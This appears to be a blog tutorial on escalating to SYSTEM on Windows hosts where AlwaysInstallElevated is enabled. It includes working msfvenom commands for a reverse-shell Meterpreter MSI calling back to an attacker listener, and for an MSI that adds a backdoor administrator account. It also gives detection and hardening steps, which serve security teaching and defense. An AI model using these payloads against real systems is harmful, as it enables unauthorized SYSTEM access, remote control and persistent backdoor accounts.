Abusing AlwaysInstallElevated for Windows Privilege Escalation

Windows Privesc
2026.04.24
Time it takes to read this article 5 minutes.

Disclaimer. This article is for education and authorized security testing only. Run these techniques exclusively against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction. Stay in scope.

Introduction / Overview

AlwaysInstallElevated is one of the cleanest local privilege escalation paths in Windows. When enabled, it instructs the Windows Installer service (msiexec) to install any .msi package with NT AUTHORITY\SYSTEM privileges — regardless of who launches it. A standard, unprivileged user can then craft a malicious MSI and install themselves straight to SYSTEM.

This misconfiguration shows up surprisingly often in enterprise environments where administrators enable it to let helpdesk-tier users install approved software without local admin rights. The problem is that the policy is indiscriminate: it does not validate the publisher, signature, or contents of the package.

In this post you will learn how the policy works, how to detect it, how to build and deliver an MSI payload with msfvenom, and — given equal weight — how a blue team should find and kill this misconfiguration. This maps to MITRE ATT&CK T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control) and the broader T1548 family.

How it works / Background

Windows Installer reads two registry values to decide whether to elevate an MSI install:

  • HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  • HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

The key behavioral rule from Microsoft: both the HKLM (per-machine) and HKCU (per-user) values must be set to 1 (DWORD) for the elevation to take effect. If either is missing or set to 0, the package installs in the user's normal security context and the abuse fails.

This is why a thorough check always inspects both hives. An attacker who only sees HKCU set has nothing exploitable; the machine-wide HKLM policy is the one administrators usually push via Group Policy (Computer/User Configuration → Administrative Templates → Windows Components → Windows Installer → "Always install with elevated privileges").

When both are 1, msiexec runs the installer's custom actions in the LocalSystem context. Since MSI packages can embed arbitrary custom actions (including launching executables or commands), this is a direct route to SYSTEM-level code execution.

Prerequisites / Lab setup

To reproduce this in a lab you need:

  • A Windows 10/11 or Server VM (the target) where you control administration.
  • A standard, non-admin user session on that host.
  • Kali Linux (or any host with msfvenom / Metasploit) on the same network to generate the payload.

Enable the misconfiguration on the lab target (do this only in your own lab):

# Run as administrator in the LAB only
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 1 /f
reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 1 /f

Attack walkthrough / PoC

Step 1 — Enumerate the policy

As the low-privileged user, confirm both registry values are set to 1:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

You are looking for AlwaysInstallElevated REG_DWORD 0x1 in both outputs. From PowerShell:

Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue
Get-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue

Automated tools also flag this. WinPEAS reports it under the "Checking AlwaysInstallElevated" section, and the Metasploit local exploit suggester / post/windows/gather/checkvm family surface it as well. If you already have a Meterpreter session, the dedicated module is:

use exploit/windows/local/always_install_elevated
set SESSION 1
run

Step 2 — Generate the MSI payload

On Kali, build an MSI with msfvenom. The -f msi format wraps your shellcode in a Windows Installer package. A reverse TCP Meterpreter payload is the common choice:

msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.7 LPORT=4444 \
  -f msi -o evil.msi

For a 32-bit target use windows/meterpreter/reverse_tcp. If you only need a SYSTEM-level local administrator account (no callback required), an MSI that runs a command works well:

msfvenom -p windows/exec CMD='net user pwn P@ssw0rd123 /add && net localgroup administrators pwn /add' \
  -f msi -o adduser.msi

Set up the listener for the Meterpreter variant:

msfconsole -q -x "use exploit/multi/handler; \
set payload windows/x64/meterpreter/reverse_tcp; \
set LHOST 10.10.14.7; set LPORT 4444; run"

Step 3 — Transfer and execute

Get evil.msi onto the target (SMB, HTTP, certutil, etc.), then install it as the unprivileged user. The /quiet /qn /norestart switches suppress the UI so the install runs silently:

msiexec /quiet /qn /i C:\Users\Public\evil.msi

Because AlwaysInstallElevated is active, msiexec runs the package's custom action as SYSTEM. Your handler receives a SYSTEM Meterpreter session, or the adduser.msi payload creates a new local administrator:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

From here you have full local control. Pair this with credential dumping (Dumping LSASS for credentials) to pivot, or chain it into domain attacks such as Kerberoasting.

Mermaid diagram

Abusing AlwaysInstallElevated for Windows Privilege Escalation diagram 1

Flow: confirm both registry values equal 1, build an MSI payload with msfvenom, install it via msiexec, and the installer's custom action executes as SYSTEM.

Detection & Defense (Blue Team)

This is fundamentally a configuration weakness, so the strongest defense is preventing the policy from ever being enabled.

1. Disable / never enable the policy. Microsoft explicitly recommends against it. Set both values to 0 (or remove them) and enforce via Group Policy so users cannot override HKCU:

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 0 /f

In Group Policy, set Computer Configuration → Administrative Templates → Windows Components → Windows Installer → "Always install with elevated privileges" to Disabled.

2. Audit the registry at scale. Sweep your fleet for the HKLM value. Anything returning 1 is a critical finding:

Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue |
  Select-Object PSComputerName, AlwaysInstallElevated

Deploy this through an EDR live-query, Microsoft Defender for Endpoint Advanced Hunting (DeviceRegistryEvents), or a configuration-management baseline (Intune/SCCM compliance).

3. Monitor MSI execution telemetry. Watch for msiexec.exe launched by non-administrative users installing MSIs from suspicious locations (user profiles, C:\Users\Public, temp directories). Key signals:

  • Sysmon Event ID 1 (process create) where the parent or context is an unprivileged user spawning msiexec /i against a file in a writable path.
  • Sysmon Event ID 13 (registry value set) on the AlwaysInstallElevated keys — alert on any write.
  • Windows Installer logs (MsiInstaller, Event IDs 11707/11708 in the Application log) for installs by unexpected accounts.

4. Application control. Use Windows Defender Application Control (WDAC) or AppLocker with an Installer rules collection to restrict which MSI/MSP packages may run, ideally to signed packages from approved publishers only. This blocks an attacker's unsigned evil.msi even if the policy is mistakenly enabled.

5. Least privilege. The reason administrators reach for this policy — letting users install software — is better solved with a managed software portal (Intune Company Portal, SCCM, a privileged install service) rather than a blanket elevation policy.

Conclusion

AlwaysInstallElevated is a textbook example of a convenience feature that trades a small operational headache for a complete loss of host integrity. The bar to exploit it is trivial: confirm two registry values are 1, generate an MSI with msfvenom -f msi, and run msiexec. For defenders the fix is equally simple — keep the policy disabled, audit for it continuously, and constrain MSI execution with application control. If you only remember one thing: never enable "Always install with elevated privileges," and alert on any registry write that does.

References

Comments

Copied title and URL